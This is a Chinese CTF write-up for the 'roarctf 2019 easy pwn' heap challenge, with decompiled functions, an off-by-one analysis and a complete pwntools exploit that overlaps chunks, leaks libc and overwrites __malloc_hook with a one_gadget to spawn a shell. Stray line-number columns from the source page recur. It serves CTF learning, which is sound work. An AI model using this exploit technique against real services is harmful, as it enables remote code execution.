roarctf 2019 easy pwn
# roarctf 2019 easy pwn
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/roarctf_2019_easy_pwn/roarctf_2019_easy_pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int option; // [rsp+4h] [rbp-Ch]
setbuf(a1, a2, a3);
while ( 1 )
{
menu();
option = getNumber(option);
switch ( option )
{
case 1:
create();
break;
case 2:
puts("Tell me the secret about you!!");
edit();
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
menu函数如下:
int menu()
{
puts("Note system");
puts("1. create a note");
puts("2. write note");
puts("3. drop the note");
puts("4. show the note");
puts("5. exit");
return printf("choice: ");
}
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
create函数如下:
__int64 create()
{
__int64 result; // rax
int index; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int size; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
result = 0LL;
for ( index = 0; index <= 15; ++index )
{
result = notelist[index].isUse;
if ( !result )
{
printf("size: ");
size = getNumber(v2);
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
ptr = calloc(size, 1uLL);
if ( !ptr )
exit(-1);
notelist[index].isUse = 1;
notelist[index].size = size;
notelist[index].content = ptr;
printf("the index of ticket is %d \n", index);
}
return index;
}
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
edit函数如下:
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
int index; // [rsp+Ch] [rbp-14h]
int idx; // [rsp+10h] [rbp-10h]
unsigned int size; // [rsp+14h] [rbp-Ch]
printf("index: ");
index = getNumber(v1);
idx = index;
if ( index >= 0 && index <= 15 )
{
index = notelist[index].isUse;
if ( index == 1 )
{
printf("size: ");
index = getNumber(1);
size = getSize(notelist[idx].size, index);// off-by-one
if ( index > 0 )
{
printf("content: ");
index = readContent(notelist[idx].content, size);
}
}
}
return index;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
getSize函数如下:
__int64 __fastcall getSize(int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
delete函数如下:
__int64 delete()
{
int index; // eax
int idx; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 isUse; // [rsp+10h] [rbp-10h]
printf("index: ");
index = getNumber(v3);
isUse = index;
idx = index;
if ( index >= 0LL && index <= 15LL )
{
isUse = notelist[index].isUse;
if ( isUse == 1 )
{
notelist[index].isUse = 0;
notelist[index].size = 0;
free(notelist[index].content);
notelist[idx].content = 0LL;
}
}
return isUse;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
show函数如下:
__int64 show()
{
int v1; // [rsp+0h] [rbp-10h]
int index; // [rsp+0h] [rbp-10h]
int idx; // [rsp+4h] [rbp-Ch]
printf("index: ");
index = getNumber(v1);
idx = index;
if ( index >= 0 && index <= 15 )
{
index = notelist[index].isUse;
if ( index == 1 )
{
printf("content: ");
index = writeContent(notelist[idx].content, notelist[idx].size);
}
}
return index;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 思路分析
目前信息:
getSize
函数存在off-by-one
- Full RELRO
- Canary found
- NX enabled
- PIE enabled
思路
- 先调用
create_heap
函数3
次创建6
个大小都为0x20
的堆块,再利用off-by-one
修改下一个堆块的size
域,并将其释放,再重新申请回来后,与其下一个堆块重叠,修改重叠部分中指向content
的指针为atoi
的got
表地址,利用show
函数泄漏libc
,再覆盖atoi
的plt
为system
地址,最后传入sh
即可获得shell
- 先调用
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/roarctf_2019_easy_pwn/roarctf_2019_easy_pwn'
libcfile = '/root/pwn/buuctf/roarctf_2019_easy_pwn/libc-2.23.so'
io = remote('node4.buuoj.cn', 28480)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF(libcfile)
def create(io, size):
io.sendlineafter('choice: ', '1')
io.sendlineafter('size: ', str(size))
def edit(io, index, size, content):
io.sendlineafter('choice: ', '2')
io.sendlineafter('index: ', str(index))
io.sendlineafter('size: ', str(size))
io.sendlineafter('content: ', content)
def delete(io, index):
io.sendlineafter('choice: ', '3')
io.sendlineafter('index: ', str(index))
def show(io, index):
io.sendlineafter('choice: ', '4')
io.sendlineafter('index: ', str(index))
create(io, 0x18) # 0
create(io, 0x10) # 1
create(io, 0x80) # 2
create(io, 0x10) # 3
edit(io, 0, 0x18+10, b'a'*0x18+p8(0xb1))
edit(io, 2, 0x80+10, b'a'*0x80+p8(0xb0))
delete(io, 1)
create(io, 0x10) # 1
show(io, 2)
leak_malloc_hook = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x68
log.success("leak_malloc_hook:"+hex(leak_malloc_hook))
libc_base = leak_malloc_hook-libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
log.success("libc_base:"+hex(libc_base))
fake_fd = leak_malloc_hook-0x23
create(io, 0x60) # 4
delete(io, 4)
edit(io, 2, 0x9, p64(fake_fd))
create(io, 0x60) # 4
create(io, 0x60) # 5
one_gadget = 0xf1147
payload = flat(['a'*0xb, libc_base+one_gadget, realloc+4])
edit(io, 5, len(payload), payload)
create(io, 0x10) # 6
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
上次更新: 2022/08/15, 00:29:49